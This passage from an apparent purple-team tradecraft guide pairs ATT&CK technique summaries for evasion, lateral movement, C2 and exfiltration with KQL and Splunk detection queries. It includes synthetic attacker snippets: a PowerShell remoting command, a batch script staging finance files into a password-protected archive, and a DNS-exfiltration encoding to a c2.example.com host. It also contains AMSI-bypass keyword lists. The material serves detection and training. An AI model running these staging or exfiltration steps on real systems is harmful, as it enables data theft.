// Detect ETW tampering — Event 11 showing ntdll.dll written to disk
DeviceFileEvents
| where FileName =~ "ntdll.dll"
| where ActionType == "FileCreated"
| where FolderPath !startswith "C:\\Windows\\System32"
| project Timestamp, DeviceName, FileName, FolderPath,
InitiatingProcessFileName, AccountName
// PowerShell script block logging — AMSI bypass indicators
index=windows sourcetype=WinEventLog:Microsoft-Windows-PowerShell/Operational EventCode=4104
(ScriptBlockText="*amsiInitFailed*" OR ScriptBlockText="*AmsiUtils*"
OR ScriptBlockText="*amsiContext*" OR ScriptBlockText="*VirtualProtect*"
OR ScriptBlockText="*SetProtectedPage*")
| table _time, Computer, ScriptBlockText
| sort -_time
Binary Padding & Signature Evasion Concepts¶
Adversaries modify malicious binaries to evade signature-based detection (T1027.001). Techniques include padding (adding junk data to change hash), section manipulation, and packing.
Detection approach: Focus on behavioral indicators rather than signatures.
// Detect unsigned or unusually large executables in system directories
DeviceFileEvents
| where ActionType == "FileCreated"
| where FileName endswith ".exe" or FileName endswith ".dll"
| where FolderPath has_any (
"\\Windows\\Temp", "\\AppData\\Local\\Temp",
"\\ProgramData", "\\Users\\Public"
)
| where FileSize > 10000000 // > 10MB — potential padding
| project Timestamp, DeviceName, FileName, FolderPath,
FileSize, SHA256, InitiatingProcessFileName, AccountName
// Large or unsigned executables in suspicious directories
index=windows sourcetype=WinEventLog:Microsoft-Windows-Sysmon/Operational EventCode=11
(TargetFilename="*.exe" OR TargetFilename="*.dll")
(TargetFilename="*\\Windows\\Temp\\*" OR TargetFilename="*\\AppData\\Local\\Temp\\*"
OR TargetFilename="*\\ProgramData\\*" OR TargetFilename="*\\Users\\Public\\*")
| table _time, Computer, Image, TargetFilename
| sort -_time
Lateral Movement¶
Lateral movement is how adversaries expand from a single compromised system to achieve their objectives across the network. Each technique leaves distinct network and host artifacts.
ATT&CK Mapping: T1021 (Remote Services), T1550 (Use Alternate Authentication Material)
PsExec & SMB Lateral Movement¶
PsExec (T1021.002) copies a service binary to the target's ADMIN$ share, creates a remote service, and executes it. This generates rich telemetry on both source and destination hosts.
Telemetry generated by PsExec:
| Host | Event | Description |
|---|---|---|
| Source | Sysmon 3 | Network connection to target port 445 |
| Target | Security 4624 | Logon type 3 (network) |
| Target | Security 7045 | New service installed (PSEXESVC) |
| Target | Sysmon 1 | Process created by PSEXESVC |
| Target | Sysmon 11 | File created in ADMIN$ share |
// Detect PsExec-style lateral movement
// Service installation on target
DeviceEvents
| where ActionType == "ServiceInstalled"
| where AdditionalFields has_any ("PSEXESVC", "psexec", "ADMIN$")
| project Timestamp, DeviceName, AccountName, AdditionalFields
// Process execution by service control manager from SMB
DeviceProcessEvents
| where InitiatingProcessFileName =~ "services.exe"
| where FileName !in~ ("svchost.exe", "spoolsv.exe",
"SearchIndexer.exe", "MsMpEng.exe", "WmiPrvSE.exe")
| project Timestamp, DeviceName, FileName,
ProcessCommandLine, AccountName
| sort by Timestamp desc
// New service installation — potential PsExec
index=windows sourcetype=WinEventLog:Security EventCode=7045
(Service_Name="PSEXESVC" OR Service_File_Name="*PSEXESVC*"
OR Service_File_Name="*\\ADMIN$\\*")
| table _time, Computer, Account_Name, Service_Name, Service_File_Name
// Process spawned by services.exe (lateral movement indicator)
index=windows sourcetype=WinEventLog:Microsoft-Windows-Sysmon/Operational EventCode=1
ParentImage="*\\services.exe"
NOT Image IN ("*\\svchost.exe", "*\\spoolsv.exe", "*\\MsMpEng.exe", "*\\WmiPrvSE.exe")
| table _time, Computer, User, Image, CommandLine, ParentImage
| sort -_time
WinRM / PowerShell Remoting¶
WinRM (T1021.006) uses HTTP (5985) or HTTPS (5986) for remote management. PowerShell Remoting built on WinRM is a powerful lateral movement channel.
# Synthetic example — PowerShell Remoting lateral movement
# All hostnames use example.com domain
$cred = Get-Credential # testuser / REDACTED
Invoke-Command -ComputerName srv01.corp.example.com -Credential $cred -ScriptBlock {
whoami; hostname; ipconfig /all
}
// Detect WinRM lateral movement
DeviceNetworkEvents
| where RemotePort in (5985, 5986)
| where InitiatingProcessFileName !in~ ("svchost.exe", "ServerManager.exe")
| summarize ConnectionCount = count(),
DistinctTargets = dcount(RemoteIP),
Targets = make_set(RemoteIP, 10)
by DeviceName, InitiatingProcessFileName, AccountName, bin(Timestamp, 1h)
| where DistinctTargets > 2
| sort by DistinctTargets desc
// wsmprovhost.exe child processes (WinRM command execution)
DeviceProcessEvents
| where InitiatingProcessFileName =~ "wsmprovhost.exe"
| project Timestamp, DeviceName, FileName,
ProcessCommandLine, AccountName
| sort by Timestamp desc
// WinRM connections to port 5985/5986
index=windows sourcetype=WinEventLog:Microsoft-Windows-Sysmon/Operational EventCode=3
DestinationPort IN (5985, 5986)
NOT Image="*\\svchost.exe"
| stats count as Connections, dc(DestinationIp) as UniqueTargets,
values(DestinationIp) as Targets
by Image, User
| where UniqueTargets > 2
// WinRM command execution (wsmprovhost child processes)
index=windows sourcetype=WinEventLog:Microsoft-Windows-Sysmon/Operational EventCode=1
ParentImage="*\\wsmprovhost.exe"
| table _time, Computer, User, Image, CommandLine
| sort -_time
RDP Pivoting¶
RDP (T1021.001) lateral movement is common because it provides full GUI access. Adversaries may chain RDP sessions through compromised hosts to reach segmented networks.
// Detect RDP lateral movement — unusual source/destination pairs
SecurityEvent
| where EventID == 4624
| where LogonType == 10 // RemoteInteractive (RDP)
| where IpAddress !in ("127.0.0.1", "::1", "")
| summarize RDPSessions = count(),
SourceIPs = make_set(IpAddress, 10)
by TargetUserName, Computer, bin(TimeGenerated, 1h)
| where RDPSessions > 3
| sort by RDPSessions desc
// RDP logon events — unusual patterns
index=windows sourcetype=WinEventLog:Security EventCode=4624 Logon_Type=10
Source_Network_Address!="127.0.0.1" Source_Network_Address!="::1"
| stats count as Sessions, values(Source_Network_Address) as Sources
by Account_Name, host
| where Sessions > 3
| sort -Sessions
Pass-the-Hash & Pass-the-Ticket Concepts¶
Pass-the-Hash (T1550.002): Uses captured NTLM hashes to authenticate without knowing the plaintext password. The hash is passed directly to the NTLM authentication protocol.
Pass-the-Ticket (T1550.003): Uses stolen Kerberos tickets (TGT or TGS) to authenticate as the ticket owner. Golden Tickets (forged TGTs using the krbtgt hash) provide persistent domain access.
Detection focus:
| Indicator | Event ID | Description |
|---|---|---|
| NTLM logon with no prior interactive session | 4624 (type 3) | PtH indicator — hash used without password entry |
| TGT with abnormal lifetime | 4768 | Golden Ticket — tickets with 10-year lifetimes |
| TGS without preceding TGT | 4769 without 4768 | Pass-the-Ticket — using imported ticket |
| RC4 encryption for Kerberos | 4768/4769 | Downgrade attack indicator |
// Detect Pass-the-Hash — NTLM network logon with explicit credentials
SecurityEvent
| where EventID == 4624
| where LogonType == 3
| where AuthenticationPackageName == "NTLM"
| where LogonProcessName == "NtLmSsp"
| where TargetUserName !endswith "$" // Exclude machine accounts
| summarize PtHAttempts = count(),
DistinctTargets = dcount(Computer),
Targets = make_set(Computer, 10)
by IpAddress, TargetUserName, bin(TimeGenerated, 15m)
| where DistinctTargets > 2
| sort by DistinctTargets desc
// Detect Golden Ticket — TGT with abnormal lifetime or encryption
SecurityEvent
| where EventID == 4768
| where TicketEncryptionType == "0x17" // RC4 downgrade
| where TicketOptions has "0x40810010" // Forwardable, renewable, etc.
| project TimeGenerated, Computer, TargetUserName,
IpAddress, TicketEncryptionType, TicketOptions
// Pass-the-Hash detection — NTLM network logon patterns
index=windows sourcetype=WinEventLog:Security EventCode=4624
Logon_Type=3 Authentication_Package=NTLM Logon_Process=NtLmSsp
NOT Account_Name="*$"
| stats count, dc(host) as UniqueTargets, values(host) as Targets
by Source_Network_Address, Account_Name
| where UniqueTargets > 2
| sort -UniqueTargets
// Golden Ticket — RC4 TGT requests
index=windows sourcetype=WinEventLog:Security EventCode=4768
Ticket_Encryption_Type=0x17
| table _time, Computer, Account_Name, Client_Address, Ticket_Encryption_Type, Ticket_Options
Command & Control (C2)¶
Command and control is the communication channel between the adversary and compromised systems. Modern C2 frameworks use legitimate protocols and services to blend into normal traffic.
ATT&CK Mapping: T1071 (Application Layer Protocol), T1572 (Protocol Tunneling), T1090 (Proxy)
HTTP/HTTPS Beaconing¶
C2 beacons send periodic HTTP/HTTPS requests to an attacker-controlled server. The regularity of these callbacks (jitter) is a key detection point.
Beacon characteristics:
| Characteristic | Low OPSEC | High OPSEC |
|---|---|---|
| Interval | Fixed (e.g., every 60s) | Random with jitter (45-180s) |
| User-Agent | Default/unusual | Mimics real browser |
| URI pattern | Static paths | Randomized paths |
| Payload encoding | Base64 plaintext | Encrypted, chunked |
| Certificate | Self-signed | Let's Encrypt or stolen |
// Detect periodic beaconing — regular interval connections
DeviceNetworkEvents
| where RemotePort in (80, 443)
| where RemoteIPType == "Public"
| summarize
ConnectionTimes = make_list(Timestamp, 1000),
ConnectionCount = count()
by DeviceName, RemoteIP, RemotePort, bin(Timestamp, 1h)
| where ConnectionCount > 20
// Further analysis: calculate intervals between connections
// Regular intervals (low standard deviation) indicate beaconing
| sort by ConnectionCount desc
// Detect connections to newly registered domains
DeviceNetworkEvents
| where RemotePort in (80, 443)
| where isnotempty(RemoteUrl)
| where RemoteUrl !endswith ".microsoft.com"
and RemoteUrl !endswith ".windows.com"
and RemoteUrl !endswith ".office.com"
| summarize ConnectionCount = count(),
UniqueDevices = dcount(DeviceName)
by RemoteUrl, bin(Timestamp, 1d)
| where UniqueDevices == 1 // Only one device talks to this domain
| where ConnectionCount > 50
| sort by ConnectionCount desc
// Beaconing detection — regular interval analysis
index=proxy OR index=firewall dest_port IN (80, 443)
| sort _time
| streamstats current=f last(_time) as prev_time by src_ip, dest_ip
| eval interval=_time - prev_time
| stats count, avg(interval) as avg_interval, stdev(interval) as stdev_interval,
min(interval) as min_interval, max(interval) as max_interval
by src_ip, dest_ip, dest_port
| where count > 20
| eval jitter_ratio = stdev_interval / avg_interval
| where jitter_ratio < 0.3 // Low jitter = likely beaconing
| sort jitter_ratio
DNS Tunneling C2¶
DNS tunneling (T1071.004) encodes C2 communications within DNS queries and responses. Because DNS is almost never blocked, it provides a reliable covert channel.
Indicators of DNS tunneling:
- High volume of DNS queries to a single domain
- Long subdomain labels (encoded data in query)
- TXT record queries (higher data capacity)
- Unusual query types (NULL, CNAME chains)
// Detect DNS tunneling — long subdomain queries
DnsEvents
| where QueryType in ("A", "AAAA", "TXT", "NULL", "CNAME")
| extend SubdomainLength = strlen(tostring(split(Name, ".")[0]))
| where SubdomainLength > 30 // Encoded data in subdomain
| summarize QueryCount = count(),
AvgSubdomainLength = avg(SubdomainLength),
MaxSubdomainLength = max(SubdomainLength),
UniqueQueries = dcount(Name)
by ClientIP, tostring(split(Name, ".")[-2]) // Group by parent domain
| where QueryCount > 50 and AvgSubdomainLength > 20
| sort by QueryCount desc
// High volume TXT queries (data exfiltration channel)
DnsEvents
| where QueryType == "TXT"
| summarize TXTQueries = count() by ClientIP, bin(TimeGenerated, 1h)
| where TXTQueries > 100
// DNS tunneling — long subdomains and high query volume
index=dns
| eval subdomain_length=len(mvindex(split(query, "."), 0))
| where subdomain_length > 30
| stats count as QueryCount, avg(subdomain_length) as AvgLength,
dc(query) as UniqueQueries
by src_ip, query_domain
| where QueryCount > 50 AND AvgLength > 20
| sort -QueryCount
// High volume TXT record queries
index=dns record_type=TXT
| stats count by src_ip | where count > 100
Domain Fronting Concepts¶
Domain fronting (T1090.004) hides the true C2 destination by routing traffic through a legitimate high-reputation domain (CDN). The outer TLS SNI and HTTP Host header point to different destinations.
Conceptual flow:
Client → TLS SNI: legitimate.cdn.example.com
→ HTTP Host: c2-hidden.example.com
CDN routes based on Host header → C2 server receives the request
Detection approach: Compare TLS SNI with HTTP Host header. Mismatches indicate potential domain fronting.
// Detect domain fronting — SNI vs Host header mismatch
// Requires TLS inspection / proxy logs
DeviceNetworkEvents
| where RemotePort == 443
| where isnotempty(AdditionalFields)
| extend SNI = tostring(AdditionalFields.TlsServerNameIndication)
| extend HostHeader = tostring(AdditionalFields.HttpHost)
| where SNI != HostHeader and isnotempty(SNI) and isnotempty(HostHeader)
| project Timestamp, DeviceName, SNI, HostHeader,
RemoteIP, RemotePort
| sort by Timestamp desc
JA3/JA4 Fingerprinting¶
JA3 and JA4 fingerprints identify client applications based on their TLS Client Hello parameters. C2 frameworks have distinctive JA3 hashes that differ from legitimate browsers.
Detection strategy:
| Fingerprint | Use Case |
|---|---|
| JA3 (MD5 hash of TLS params) | Identify known C2 framework fingerprints |
| JA3S (server fingerprint) | Identify C2 server infrastructure |
| JA4 (improved, more granular) | Better differentiation between similar clients |
// Detect known C2 framework JA3 hashes
// These are synthetic example hashes for educational purposes
let KnownC2JA3 = dynamic([
"a]b1c2d3e4f5a6b7c8d9e0f1a2b3c4d5", // Synthetic hash 1
"f5e4d3c2b1a0f5e4d3c2b1a0f5e4d3c2" // Synthetic hash 2
]);
DeviceNetworkEvents
| where isnotempty(AdditionalFields)
| extend JA3Hash = tostring(AdditionalFields.JA3)
| where JA3Hash in (KnownC2JA3)
| project Timestamp, DeviceName, RemoteIP, JA3Hash, AccountName
Data Exfiltration¶
Data exfiltration is the adversary's ultimate objective in many campaigns. The techniques range from obvious (large file transfers) to subtle (slow DNS-encoded data leaks over weeks).
ATT&CK Mapping: T1041 (Exfiltration Over C2 Channel), T1048 (Exfiltration Over Alternative Protocol), T1567 (Exfiltration to Cloud Storage)
Staging and Compression¶
Before exfiltration, adversaries stage and compress data to minimize transfer volume and time (T1074, T1560).
Common staging patterns:
REM Adversary stages files for exfiltration (synthetic example)
mkdir C:\Windows\Temp\staging
copy \\fileserver.corp.example.com\finance\*.xlsx C:\Windows\Temp\staging\
REM Compress with password
7z.exe a -p"REDACTED" C:\Windows\Temp\archive.7z C:\Windows\Temp\staging\*
// Detect data staging — bulk file copy to temp directories
DeviceFileEvents
| where ActionType == "FileCreated"
| where FolderPath has_any ("\\Temp\\", "\\staging\\", "\\exfil\\")
| summarize FileCount = count(), TotalSize = sum(FileSize),
FileTypes = make_set(tostring(split(FileName, ".")[-1]), 10)
by DeviceName, FolderPath, AccountName, bin(Timestamp, 1h)
| where FileCount > 20 or TotalSize > 100000000 // > 100MB
| sort by TotalSize desc
// Detect archive creation with password protection
DeviceProcessEvents
| where FileName in~ ("7z.exe", "rar.exe", "zip.exe", "tar.exe")
| where ProcessCommandLine has_any ("-p", "-hp", "--password", "-encrypt")
| project Timestamp, DeviceName, AccountName,
ProcessCommandLine, InitiatingProcessFileName
// Bulk file staging detection
index=windows sourcetype=WinEventLog:Microsoft-Windows-Sysmon/Operational EventCode=11
(TargetFilename="*\\Temp\\*" OR TargetFilename="*\\staging\\*")
| stats count as FileCount by Computer, User, Image
| where FileCount > 20
| sort -FileCount
// Password-protected archive creation
index=windows sourcetype=WinEventLog:Microsoft-Windows-Sysmon/Operational EventCode=1
(Image="*\\7z.exe" OR Image="*\\rar.exe" OR Image="*\\zip.exe")
(CommandLine="*-p*" OR CommandLine="*-hp*" OR CommandLine="*-encrypt*")
| table _time, Computer, User, CommandLine, ParentImage
Covert Channels (DNS, ICMP, HTTPS)¶
DNS exfiltration (T1048.003): Data encoded in DNS subdomain queries. Each query carries ~60 bytes of encoded data.
# Conceptual DNS exfiltration encoding
# Data: "password123" → Base32 → "OBWGC2LOFNZSA5DFON2CA==="
# DNS query: OBWGC2LOFNZSA5DFON2CA.exfil.c2.example.com
ICMP tunneling (T1048.003): Data embedded in ICMP echo request/reply payloads.
HTTPS chunking: Small amounts of data sent in legitimate-looking HTTPS requests over extended periods.
// Detect DNS exfiltration — high volume to single domain
DnsEvents
| summarize
QueryCount = count(),
UniqueSubdomains = dcount(Name),
TotalDataEstimate = sum(strlen(tostring(split(Name, ".")[0])))
by ClientIP, tostring(split(Name, ".")[-2]), bin(TimeGenerated, 1h)
| where UniqueSubdomains > 100 // Many unique subdomains = data encoding
| where TotalDataEstimate > 5000 // Substantial data volume
| sort by TotalDataEstimate desc
// Detect unusual ICMP volume (potential ICMP tunneling)
DeviceNetworkEvents
| where Protocol == "Icmp"
| summarize ICMPCount = count(), TotalBytes = sum(SentBytes + ReceivedBytes)
by DeviceName, RemoteIP, bin(Timestamp, 1h)
| where ICMPCount > 100 or TotalBytes > 100000
| sort by TotalBytes desc
// DNS exfiltration — high unique subdomain count
index=dns
| stats dc(query) as UniqueQueries, count as TotalQueries
by src_ip, query_domain
| where UniqueQueries > 100
| sort -UniqueQueries
// ICMP tunneling — unusual volume
index=firewall protocol=icmp
| stats count, sum(bytes) as TotalBytes by src_ip, dest_ip
| where count > 100 OR TotalBytes > 100000
| sort -TotalBytes
Cloud Storage Abuse¶
Adversaries exfiltrate data to legitimate cloud storage services (T1567.002) — OneDrive, Google Drive, Dropbox, AWS S3 — because these services are trusted and often allowed through firewalls.
// Detect large uploads to cloud storage services
DeviceNetworkEvents
| where RemoteUrl has_any (
"onedrive.live.com", "drive.google.com",
"dropbox.com", "box.com",
"s3.amazonaws.com", "blob.core.windows.net",
"storage.googleapis.com", "mega.nz"
)
| where SentBytes > 10000000 // > 10MB upload
| summarize TotalUploaded = sum(SentBytes),
UploadCount = count()
by DeviceName, RemoteUrl, AccountName, bin(Timestamp, 1h)
| where TotalUploaded > 50000000 // > 50MB total
| sort by TotalUploaded desc
// Large uploads to cloud storage providers
index=proxy
(dest="*onedrive.live.com" OR dest="*drive.google.com"
OR dest="*dropbox.com" OR dest="*s3.amazonaws.com"
OR dest="*blob.core.windows.net" OR dest="*mega.nz")
http_method=POST
| stats sum(bytes_out) as TotalUpload, count as Uploads
by src_ip, dest, user
| where TotalUpload > 52428800
| sort -TotalUpload
DLP Integration
Cloud storage exfiltration detection is most effective when combined with Data Loss Prevention (DLP) classification. If you know which files contain sensitive data, you can prioritize alerts on uploads of classified content rather than alerting on all large transfers.
Purple Team Integration¶
This tradecraft guide is designed for direct use in purple team exercises. The following framework maps each section to structured purple team activities.
How to Use This Guide for Purple Team Exercises¶
- Select a technique from any section above
- Red team executes the technique in a controlled environment using the synthetic examples as templates
- Blue team monitors using the detection queries, tuned to the environment's baseline
- Both teams document what worked, what was missed, and why
- Iterate — modify the technique to evade detection, then improve the detection
- Log results using the Purple Team Exercise Library framework
Mapping to Purple Team Exercises¶
The techniques in this guide map directly to existing purple team exercises:
| Guide Section | Related PT Exercises | Focus Area |
|---|---|---|
| Living Off the Land | PT-001 through PT-020 | Initial access, execution |
| Process Injection | PT-021 through PT-040 | Defense evasion, privilege escalation |
| Credential Access | PT-041 through PT-060 | Credential theft, privilege escalation |
| Persistence | PT-061 through PT-080 | Persistence mechanisms |
| Defense Evasion | PT-081 through PT-100 | Log tampering, indicator removal |
| Lateral Movement | PT-101 through PT-120 | Network movement, pivoting |
| Command & Control | PT-121 through PT-140 | C2 channels, beaconing |
| Data Exfiltration | PT-141 through PT-160 | Data staging, covert channels |
See the full exercise library: PT-001 through PT-170
Continuous Improvement Cycle¶
┌─────────────────────────────────────────────┐
│ Purple Team Cycle │
│ │
│ 1. PLAN → Select technique from guide │
│ 2. RED → Execute in controlled scope │
│ 3. BLUE → Detect using provided queries │
│ 4. GAP → Document detection gaps │
│ 5. FIX → Tune queries, add new rules │
│ 6. TEST → Re-execute to validate fix │
│ 7. LOG → Update exercise library │
│ └────────── Repeat ──────────────────┘ │
└─────────────────────────────────────────────┘
Related chapters:
- Chapter 36: Purple Team Operations — full purple team methodology
- Lab 9: Purple Team Exercise — hands-on purple team lab
- Lab 22: AD Red Team — Active Directory attack/detect lab
- Chapter 18: Malware Analysis — reverse engineering malware used in these techniques
Quick Reference Matrix¶
| Technique | ATT&CK ID | Detection Method | Key Event IDs | Difficulty |
|---|---|---|---|---|
| Living Off the Land | ||||
| PowerShell encoded commands | T1059.001 | Script block logging, command line | Sysmon 1, PS 4104 | Low |
| WMI lateral movement | T1047 | WMI process creation monitoring | Sysmon 1 (wmiprvse child) | Medium |
| certutil download | T1218 | Command line monitoring | Sysmon 1 | Low |
| mshta execution | T1218.005 | Process creation with HTA args | Sysmon 1 | Low |
| rundll32 proxy execution | T1218.011 | Unusual DLL loads, command args | Sysmon 1, 7 | Medium |
| regsvr32 Squiblydoo | T1218.010 | scrobj.dll load, remote URL args | Sysmon 1, 3 | Medium |
| Process Injection | ||||
| Classic DLL injection | T1055.001 | CreateRemoteThread monitoring | Sysmon 8, 10 | Medium |
| Process hollowing | T1055.012 | Suspended process + thread context | Sysmon 1, 10 | High |
| APC injection | T1055.004 | QueueUserAPC monitoring | ETW, Sysmon 10 | High |
| Thread hijacking | T1055.003 | Thread context modification | ETW, Sysmon 10 | High |
| Credential Access | ||||
| LSASS dumping | T1003.001 | LSASS process access monitoring | Sysmon 10, Security 4656 | Medium |
| Kerberoasting | T1558.003 | RC4 TGS request volume | Security 4769 | Medium |
| AS-REP Roasting | T1558.004 | RC4 TGT requests | Security 4768 | Medium |
| NTLM relay | T1557.001 | Multi-target NTLM auth patterns | Security 4624 | High |
| SAM extraction | T1003.002 | reg.exe save command monitoring | Sysmon 1 | Low |
| Persistence | ||||
| Registry Run keys | T1547.001 | Registry modification monitoring | Sysmon 13 | Low |
| Scheduled tasks | T1053.005 | Task creation monitoring | Security 4698, Sysmon 1 | Low |
| WMI event subscriptions | T1546.003 | WMI subscription creation | Sysmon 19, 20, 21 | Medium |
| DLL search order hijack | T1574.001 | Unsigned DLL loads in system dirs | Sysmon 7 | High |
| COM object hijacking | T1546.015 | CLSID registry modification | Sysmon 13 | High |
| Defense Evasion | ||||
| Timestomping | T1070.006 | File creation time mismatch | Sysmon 2 | High |
| Log clearing | T1070.001 | Log cleared events, gap analysis | Security 1102, 104 | Low |
| AMSI bypass | T1562.001 | Script block logging, memory scan | PS 4104, EDR | High |
| Binary padding | T1027.001 | File size anomalies, behavioral | Sysmon 11 | Medium |
| Lateral Movement | ||||
| PsExec / SMB | T1021.002 | Service installation, SMB files | Security 7045, Sysmon 11 | Low |
| WinRM / PSRemoting | T1021.006 | Port 5985/5986 connections | Sysmon 3, 1 | Medium |
| RDP pivoting | T1021.001 | Type 10 logon anomalies | Security 4624 | Low |
| Pass-the-Hash | T1550.002 | NTLM network logon patterns | Security 4624 | High |
| Pass-the-Ticket | T1550.003 | Kerberos anomalies, RC4 TGTs | Security 4768, 4769 | High |
| Command & Control | ||||
| HTTP/HTTPS beaconing | T1071.001 | Interval analysis, jitter ratio | Network logs | Medium |
| DNS tunneling | T1071.004 | Long subdomain analysis | DNS logs | Medium |
| Domain fronting | T1090.004 | SNI vs Host header mismatch | Proxy / TLS logs | High |
| JA3/JA4 fingerprinting | T1071.001 | TLS fingerprint matching | Proxy / TLS logs | Medium |
| Data Exfiltration | ||||
| Data staging | T1074.001 | Bulk file copy to temp dirs | Sysmon 11 | Low |
| DNS exfiltration | T1048.003 | High unique subdomain count | DNS logs | Medium |
| ICMP tunneling | T1048.003 | Unusual ICMP volume | Firewall logs | Medium |
| Cloud storage abuse | T1567.002 | Large uploads to cloud services | Proxy logs | Medium |
Summary¶
Red team tradecraft and blue team detection are two sides of the same coin. This guide provides a starting point — not an endpoint. Every detection query requires tuning to your environment. Every technique has variants that may evade a specific query. The purple team cycle of execute-detect-improve is how organizations build genuine resilience.
Next steps:
- Work through the Purple Team Exercise Library using these techniques
- Build custom detection rules in your SIEM using the queries as templates
- Review the ATT&CK Technique Reference for additional coverage
- Practice in the AD Red Team Lab
- Study the methodology in Chapter 17: Red Team Operations and Chapter 41: Red Team Methodology
Offense Informs Defense
"The only way to know if your defenses work is to test them the way adversaries will. Not someday — today."